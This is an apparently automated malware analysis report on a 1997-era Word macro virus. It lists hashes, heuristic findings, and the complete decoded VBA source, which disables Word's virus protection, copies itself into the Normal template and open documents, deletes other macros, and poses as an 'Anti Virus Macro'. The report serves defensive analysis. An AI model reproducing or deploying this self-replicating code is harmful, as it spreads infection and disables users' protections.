Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1a7e9e7425f97fad…

MALICIOUS

Office (OLE)

32.0 KB Created: 1997-01-30 14:47:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8078c98a80f3136402457ae5d2c14fa6 SHA-1: 2da2d4dd68712307e7d8acbfc9dac8f0bc696027 SHA-256: 1a7e9e7425f97fadb414f1643e28d811b7f8ec33e574d9529806b6201c9f9a71
136 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose, indicating malicious intent. The VBA script attempts to disable virus protection and displays a message box to the user, masquerading as an 'Anti Virus Macro' while potentially preparing the system for further compromise. The script also includes email addresses for communication, suggesting a potential C2 or contact channel.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3800 bytes
SHA-256: c429c93fdbf3f60dee08d208a9c4065cad7eea731675015d3d6a3593ec613227
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "avm"
'avm ini bukanlah sebuah virus
'tapi hanyalah sebuah indikator
'ada tidaknya virus macro di komputer ini
'bagi mereka yang dapat membaca tulisan ini
'alangkah baiknya jika kita saling tukar pikiran
'untuk membuat suatu anti virus macro
'email saja pada cholis@indonet.com atau cholis@plasa.com

Sub Terus()
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub
Sub ToolsMacro()
MsgBox "Komputer anda masih dalam pengawasan kami", vbInformation, "Anti Virus Macro"
End Sub
Sub ViewVbCode()
    ToolsMacro
End Sub
Sub FileTemplates()
    ToolsMacro
End Sub
Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Terus
End Sub
Sub PukulDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "avm" Then DocOk = True
        If Obj.Name <> "avm" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="avm", Object:=wdOrganizerObjectProjectItems
    End If
End Sub
Sub PukulTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "avm" Then NorOk = True
        If Obj.Name <> "avm" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="avm", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub
Sub FileOpen()
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        PukulDocument
        ActiveDocument.Save
    End If
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    Terus
    PukulTemplate
    On Error Resume Next
    NormalTemplate.Save
End Sub
Sub AutoClose()
    PukulDocument
End Sub

Sub FileClose()
    AutoClose
End Sub

Sub FileSave()
    If ActiveDocument.Saved = False Then
        PukulDocument
        PukulTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub Ancurin()
    C = Documents.Count
    If C <> 0 Then
        Normal.avm.PukulDocument
        WordBasic.DisableAutoMacros False
        On Error Resume Next
        If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
    Else: Application.OnTime Now + TimeValue("00:02:09"), "Normal.avm.Ancurin"
    End If
End Sub

Sub AutoExec()
    MsgBox "Saat ini komputer anda bebas virus macro" & Chr(13) & "Hubungi kami jika pesan ini tidak muncul kembali" & Chr(13) & "Di cholis@indonet.com", vbInformation, "Anti Virus Macro"
    WordBasic.DisableAutoMacros True
    Terus
    Application.OnTime Now + TimeValue("00:02:09"), "Normal.avm.Ancurin"
End Sub